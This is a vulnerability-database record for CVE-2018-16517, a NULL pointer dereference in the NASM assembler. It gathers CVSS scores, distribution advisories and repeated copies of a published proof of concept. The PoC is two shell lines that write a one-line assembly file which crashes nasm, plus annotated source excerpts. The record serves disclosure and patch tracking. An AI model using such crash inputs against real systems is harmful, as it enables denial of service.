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{"id": "EDB-ID:46726", "vendorId": null, "type": "exploitdb", "bulletinFamily": "exploit", "title": "Netwide Assembler (NASM) 2.14rc15 - NULL Pointer Dereference (PoC)", "description": "", "published": "2019-04-18T00:00:00", "modified": "2019-04-18T00:00:00", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "accessVector": "NETWORK", "accessComplexity": "MEDIUM", "authentication": "NONE", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.3}, "severity": "MEDIUM", "exploitabilityScore": 8.6, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": true}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH", "baseScore": 5.5, "baseSeverity": "MEDIUM"}, "exploitabilityScore": 1.8, "impactScore": 3.6}, "href": "https://www.exploit-db.com/exploits/46726", "reporter": "Fakhri Zulkifli", "references": [], "cvelist": ["2018-16517", "CVE-2018-16517"], "immutableFields": [], "lastseen": "2022-08-07T06:10:44", "viewCount": 16, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2018-16517"]}, {"type": "debiancve", "idList": ["DEBIANCVE:CVE-2018-16517"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:2D505BD0F2C946690A3DAAFADCECB081"]}, {"type": "mageia", "idList": ["MGASA-2020-0303"]}, {"type": "nessus", "idList": ["OPENSUSE-2020-952.NASL", "OPENSUSE-2020-954.NASL", "SUSE_SU-2020-1843-1.NASL"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:152566"]}, {"type": "redhatcve", "idList": ["RH:CVE-2018-16517"]}, {"type": "suse", "idList": ["OPENSUSE-SU-2020:0952-1", "OPENSUSE-SU-2020:0954-1"]}, {"type": "ubuntucve", "idList": ["UB:CVE-2018-16517"]}, {"type": "zdt", "idList": ["1337DAY-ID-32568"]}]}, "score": {"value": -0.0, "vector": "NONE"}, "backreferences": {"references": [{"type": "cve", "idList": ["CVE-2018-16517"]}, {"type": "debiancve", "idList": ["DEBIANCVE:CVE-2018-16517"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:2D505BD0F2C946690A3DAAFADCECB081"]}, {"type": "nessus", "idList": ["SUSE_SU-2020-1843-1.NASL"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:152566"]}, {"type": "redhatcve", "idList": ["RH:CVE-2018-16517"]}, {"type": "suse", "idList": ["OPENSUSE-SU-2020:0952-1", "OPENSUSE-SU-2020:0954-1"]}, {"type": "ubuntucve", "idList": ["UB:CVE-2018-16517"]}, {"type": "zdt", "idList": ["1337DAY-ID-32568"]}]}, "exploitation": null, "vulnersScore": -0.0}, "_state": {"dependencies": 1659980328, "score": 1659869305}, "_internal": {"score_hash": "525a15c7f71a16d73337e9741e3a5f9d"}, "sourceHref": "https://www.exploit-db.com/download/46726", "sourceData": "# Exploit Title: Netwide Assembler (NASM) 2.14rc15 NULL Pointer Dereference (PoC)\r\n# Date: 2018-09-05\r\n# Exploit Author: Fakhri Zulkifli\r\n# Vendor Homepage: https://www.nasm.us/\r\n# Software Link: https://www.nasm.us/pub/nasm/releasebuilds/?C=M;O=D\r\n# Version: 2.14rc15 and earlier\r\n# Tested on: 2.14rc15\r\n# CVE : CVE-2018-16517\r\n\r\nasm/labels.c in Netwide Assembler (NASM) is prone to NULL Pointer Dereference, which allows the attacker to cause a denial of service via a crafted file.\r\n\r\nPoC:\r\n1. echo \"equ push rax\" > poc\r\n2. nasm -f elf poc\r\n\r\ninsn_is_label remains FALSE and therefore leaving result->label assigned to NULL which is then dereference in islocal().\r\n \r\n [...]\r\n \r\n if (i == TOKEN_ID || (insn_is_label && i == TOKEN_INSN)) { <-- not taken\r\n /* there's a label here */\r\n first = false;\r\n result->label = tokval.t_charptr;\r\n i = stdscan(NULL, &tokval);\r\n if (i == ':') { /* skip over the optional colon */\r\n i = stdscan(NULL, &tokval);\r\n } else if (i == 0) {\r\n nasm_error(ERR_WARNING | ERR_WARN_OL | ERR_PASS1,\r\n \"label alone on a line without a colon might be in error\");\r\n }\r\n if (i != TOKEN_INSN || tokval.t_integer != I_EQU) {\r\n /*\r\n * FIXME: location.segment could be NO_SEG, in which case\r\n * it is possible we should be passing 'absolute.segment'. Look into this.\r\n * Work out whether that is *really* what we should be doing.\r\n * Generally fix things. I think this is right as it is, but\r\n * am still not certain.\r\n */\r\n define_label(result->label,\r\n in_absolute ? absolute.segment : location.segment,\r\n location.offset, true);\r\n [...]\r\n\r\nstatic bool islocal(const char *l)\r\n{\r\n if (tasm_compatible_mode) {\r\n if (l[0] == '@' && l[1] == '@')\r\n return true;\r\n }\r\n return (l[0] == '.' && l[1] != '.'); <-- boom\r\n}", "osvdbidlist": [], "exploitType": "dos", "verified": false}

{"cve": [{"lastseen": "2022-03-23T14:08:54", "description": "asm/labels.c in Netwide Assembler (NASM) is prone to NULL Pointer Dereference, which allows the attacker to cause a denial of service via a crafted file.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 5.5, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 3.6}, "published": "2018-09-06T23:29:00", "type": "cve", "title": "CVE-2018-16517", "cwe": ["CWE-476"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-16517"], "modified": "2020-11-10T18:19:00", "cpe": ["cpe:/a:nasm:netwide_assembler:2.14.0", "cpe:/a:nasm:netwide_assembler:2.14", "cpe:/a:nasm:netwide_assembler:2.13.03"], "id": "CVE-2018-16517", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-16517", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, "cpe23": ["cpe:2.3:a:nasm:netwide_assembler:2.14.0:rc11:*:*:*:*:*:*", "cpe:2.3:a:nasm:netwide_assembler:2.14.0:rc3:*:*:*:*:*:*", "cpe:2.3:a:nasm:netwide_assembler:2.14.0:rc13:*:*:*:*:*:*", "cpe:2.3:a:nasm:netwide_assembler:2.14.0:rc4:*:*:*:*:*:*", "cpe:2.3:a:nasm:netwide_assembler:2.14:rc15:*:*:*:*:*:*", "cpe:2.3:a:nasm:netwide_assembler:2.13.03:*:*:*:*:*:*:*", "cpe:2.3:a:nasm:netwide_assembler:2.14.0:rc2:*:*:*:*:*:*", "cpe:2.3:a:nasm:netwide_assembler:2.14.0:rc5:*:*:*:*:*:*", "cpe:2.3:a:nasm:netwide_assembler:2.14.0:rc6:*:*:*:*:*:*", "cpe:2.3:a:nasm:netwide_assembler:2.14.0:rc9:*:*:*:*:*:*", "cpe:2.3:a:nasm:netwide_assembler:2.14.0:rc10:*:*:*:*:*:*", "cpe:2.3:a:nasm:netwide_assembler:2.14.0:rc7:*:*:*:*:*:*", "cpe:2.3:a:nasm:netwide_assembler:2.14.0:rc14:*:*:*:*:*:*", "cpe:2.3:a:nasm:netwide_assembler:2.14.0:rc1:*:*:*:*:*:*", "cpe:2.3:a:nasm:netwide_assembler:2.14.0:rc12:*:*:*:*:*:*", "cpe:2.3:a:nasm:netwide_assembler:2.14.0:rc8:*:*:*:*:*:*"]}], "exploitpack": [{"lastseen": "2020-04-01T19:04:37", "description": "\nNetwide Assembler (NASM) 2.14rc15 - NULL Pointer Dereference (PoC)", "edition": 2, "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "baseScore": 5.5, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 3.6}, "published": "2019-04-18T00:00:00", "title": "Netwide Assembler (NASM) 2.14rc15 - NULL Pointer Dereference (PoC)", "type": "exploitpack", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-16517"], "modified": "2019-04-18T00:00:00", "id": "EXPLOITPACK:2D505BD0F2C946690A3DAAFADCECB081", "href": "", "sourceData": "# Exploit Title: Netwide Assembler (NASM) 2.14rc15 NULL Pointer Dereference (PoC)\n# Date: 2018-09-05\n# Exploit Author: Fakhri Zulkifli\n# Vendor Homepage: https://www.nasm.us/\n# Software Link: https://www.nasm.us/pub/nasm/releasebuilds/?C=M;O=D\n# Version: 2.14rc15 and earlier\n# Tested on: 2.14rc15\n# CVE : CVE-2018-16517\n\nasm/labels.c in Netwide Assembler (NASM) is prone to NULL Pointer Dereference, which allows the attacker to cause a denial of service via a crafted file.\n\nPoC:\n1. echo \"equ push rax\" > poc\n2. nasm -f elf poc\n\ninsn_is_label remains FALSE and therefore leaving result->label assigned to NULL which is then dereference in islocal().\n \n [...]\n \n if (i == TOKEN_ID || (insn_is_label && i == TOKEN_INSN)) { <-- not taken\n /* there's a label here */\n first = false;\n result->label = tokval.t_charptr;\n i = stdscan(NULL, &tokval);\n if (i == ':') { /* skip over the optional colon */\n i = stdscan(NULL, &tokval);\n } else if (i == 0) {\n nasm_error(ERR_WARNING | ERR_WARN_OL | ERR_PASS1,\n \"label alone on a line without a colon might be in error\");\n }\n if (i != TOKEN_INSN || tokval.t_integer != I_EQU) {\n /*\n * FIXME: location.segment could be NO_SEG, in which case\n * it is possible we should be passing 'absolute.segment'. Look into this.\n * Work out whether that is *really* what we should be doing.\n * Generally fix things. I think this is right as it is, but\n * am still not certain.\n */\n define_label(result->label,\n in_absolute ? absolute.segment : location.segment,\n location.offset, true);\n [...]\n\nstatic bool islocal(const char *l)\n{\n if (tasm_compatible_mode) {\n if (l[0] == '@' && l[1] == '@')\n return true;\n }\n return (l[0] == '.' && l[1] != '.'); <-- boom\n}", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}}], "packetstorm": [{"lastseen": "2019-04-19T03:48:41", "description": "", "cvss3": {}, "published": "2019-04-18T00:00:00", "type": "packetstorm", "title": "Netwide Assembler (NASM) 2.14rc15 Null Pointer Dereference", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2018-16517"], "modified": "2019-04-18T00:00:00", "id": "PACKETSTORM:152566", "href": "https://packetstormsecurity.com/files/152566/Netwide-Assembler-NASM-2.14rc15-Null-Pointer-Dereference.html", "sourceData": "`# Exploit Title: Netwide Assembler (NASM) 2.14rc15 NULL Pointer Dereference (PoC) \n# Date: 2018-09-05 \n# Exploit Author: Fakhri Zulkifli \n# Vendor Homepage: https://www.nasm.us/ \n# Software Link: https://www.nasm.us/pub/nasm/releasebuilds/?C=M;O=D \n# Version: 2.14rc15 and earlier \n# Tested on: 2.14rc15 \n# CVE : CVE-2018-16517 \n \nasm/labels.c in Netwide Assembler (NASM) is prone to NULL Pointer Dereference, which allows the attacker to cause a denial of service via a crafted file. \n \nPoC: \n1. echo \"equ push rax\" > poc \n2. nasm -f elf poc \n \ninsn_is_label remains FALSE and therefore leaving result->label assigned to NULL which is then dereference in islocal(). \n \n[...] \n \nif (i == TOKEN_ID || (insn_is_label && i == TOKEN_INSN)) { <-- not taken \n/* there's a label here */ \nfirst = false; \nresult->label = tokval.t_charptr; \ni = stdscan(NULL, &tokval); \nif (i == ':') { /* skip over the optional colon */ \ni = stdscan(NULL, &tokval); \n} else if (i == 0) { \nnasm_error(ERR_WARNING | ERR_WARN_OL | ERR_PASS1, \n\"label alone on a line without a colon might be in error\"); \n} \nif (i != TOKEN_INSN || tokval.t_integer != I_EQU) { \n/* \n* FIXME: location.segment could be NO_SEG, in which case \n* it is possible we should be passing 'absolute.segment'. Look into this. \n* Work out whether that is *really* what we should be doing. \n* Generally fix things. I think this is right as it is, but \n* am still not certain. \n*/ \ndefine_label(result->label, \nin_absolute ? absolute.segment : location.segment, \nlocation.offset, true); \n[...] \n \nstatic bool islocal(const char *l) \n{ \nif (tasm_compatible_mode) { \nif (l[0] == '@' && l[1] == '@') \nreturn true; \n} \nreturn (l[0] == '.' && l[1] != '.'); <-- boom \n} \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/152566/netwideassembler214rc15-poc.txt", "cvss": {"score": 4.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}}], "zdt": [{"lastseen": "2021-12-27T13:54:32", "description": "", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "baseScore": 5.5, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 3.6}, "published": "2019-04-18T00:00:00", "type": "zdt", "title": "Netwide Assembler (NASM) 2.14rc15 - NULL Pointer Dereference Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-16517"], "modified": "2019-04-18T00:00:00", "id": "1337DAY-ID-32568", "href": "https://0day.today/exploit/description/32568", "sourceData": "# Exploit Title: Netwide Assembler (NASM) 2.14rc15 NULL Pointer Dereference (PoC)\n# Exploit Author: Fakhri Zulkifli\n# Vendor Homepage: https://www.nasm.us/\n# Software Link: https://www.nasm.us/pub/nasm/releasebuilds/?C=M;O=D\n# Version: 2.14rc15 and earlier\n# Tested on: 2.14rc15\n# CVE : CVE-2018-16517\n\nasm/labels.c in Netwide Assembler (NASM) is prone to NULL Pointer Dereference, which allows the attacker to cause a denial of service via a crafted file.\n\nPoC:\n1. echo \"equ push rax\" > poc\n2. nasm -f elf poc\n\ninsn_is_label remains FALSE and therefore leaving result->label assigned to NULL which is then dereference in islocal().\n \n [...]\n \n if (i == TOKEN_ID || (insn_is_label && i == TOKEN_INSN)) { <-- not taken\n /* there's a label here */\n first = false;\n result->label = tokval.t_charptr;\n i = stdscan(NULL, &tokval);\n if (i == ':') { /* skip over the optional colon */\n i = stdscan(NULL, &tokval);\n } else if (i == 0) {\n nasm_error(ERR_WARNING | ERR_WARN_OL | ERR_PASS1,\n \"label alone on a line without a colon might be in error\");\n }\n if (i != TOKEN_INSN || tokval.t_integer != I_EQU) {\n /*\n * FIXME: location.segment could be NO_SEG, in which case\n * it is possible we should be passing 'absolute.segment'. Look into this.\n * Work out whether that is *really* what we should be doing.\n * Generally fix things. I think this is right as it is, but\n * am still not certain.\n */\n define_label(result->label,\n in_absolute ? absolute.segment : location.segment,\n location.offset, true);\n [...]\n\nstatic bool islocal(const char *l)\n{\n if (tasm_compatible_mode) {\n if (l[0] == '@' && l[1] == '@')\n return true;\n }\n return (l[0] == '.' && l[1] != '.'); <-- boom\n}\n", "sourceHref": "https://0day.today/exploit/32568", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}}], "redhatcve": [{"lastseen": "2022-07-07T11:09:38", "description": "asm/labels.c in Netwide Assembler (NASM) is prone to NULL Pointer Dereference, which allows the attacker to cause a denial of service via a crafted file.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 5.5, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 3.6}, "published": "2018-09-14T14:49:18", "type": "redhatcve", "title": "CVE-2018-16517", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-16517"], "modified": "2022-07-07T10:37:23", "id": "RH:CVE-2018-16517", "href": "https://access.redhat.com/security/cve/cve-2018-16517", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}}], "ubuntucve": [{"lastseen": "2022-08-04T13:46:33", "description": "asm/labels.c in Netwide Assembler (NASM) is prone to NULL Pointer\nDereference, which allows the attacker to cause a denial of service via a\ncrafted file.\n\n#### Bugs\n\n * <https://bugzilla.nasm.us/show_bug.cgi?id=3392513>\n * <https://fakhrizulkifli.github.io/CVE-2018-16517.html>\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 5.5, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 3.6}, "published": "2018-09-06T00:00:00", "type": "ubuntucve", "title": "CVE-2018-16517", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-16517"], "modified": "2018-09-06T00:00:00", "id": "UB:CVE-2018-16517", "href": "https://ubuntu.com/security/CVE-2018-16517", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}}], "debiancve": [{"lastseen": "2022-07-04T06:01:05", "description": "asm/labels.c in Netwide Assembler (NASM) is prone to NULL Pointer Dereference, which allows the attacker to cause a denial of service via a crafted file.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 5.5, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 3.6}, "published": "2018-09-06T23:29:00", "type": "debiancve", "title": "CVE-2018-16517", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-16517"], "modified": "2018-09-06T23:29:00", "id": "DEBIANCVE:CVE-2018-16517", "href": "https://security-tracker.debian.org/tracker/CVE-2018-16517", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}}], "mageia": [{"lastseen": "2022-04-18T11:19:34", "description": "Netwide Assembler (NASM) 2.13 has a stack-based buffer over-read in the disasm function of the disasm/disasm.c file. Remote attackers could leverage this vulnerability to cause a denial of service or possibly have unspecified other impact via a crafted ELF file (CVE-2018-10254). Netwide Assembler (NASM) 2.14rc0 has an endless while loop in the assemble_file function of asm/nasm.c because of a globallineno integer overflow (CVE-2018-10316). Netwide Assembler (NASM) 2.14rc15 has a buffer over-read in x86/regflags.c (CVE-2018-16382). NASM nasm-2.13.03 nasm- 2.14rc15 version 2.14rc15 and earlier contains a memory corruption (crashed) of nasm when handling a crafted file due to function assemble_file(inname, depend_ptr) at asm/nasm.c:482. vulnerability in function assemble_file(inname, depend_ptr) at asm/nasm.c:482. that can result in aborting/crash nasm program. This attack appear to be exploitable via a specially crafted asm file (CVE-2018-1000667). asm/labels.c in Netwide Assembler (NASM) is prone to NULL Pointer Dereference, which allows the attacker to cause a denial of service via a crafted file (CVE-2018-16517). Netwide Assembler (NASM) 2.14rc15 has an invalid memory write (segmentation fault) in expand_smacro in preproc.c, which allows attackers to cause a denial of service via a crafted input file (CVE-2018-16999). Netwide Assembler (NASM) 2.14rc16 has a heap-based buffer over-read in expand_mmac_params in asm/preproc.c for the special cases of the % and $ and ! characters (CVE-2018-19215). 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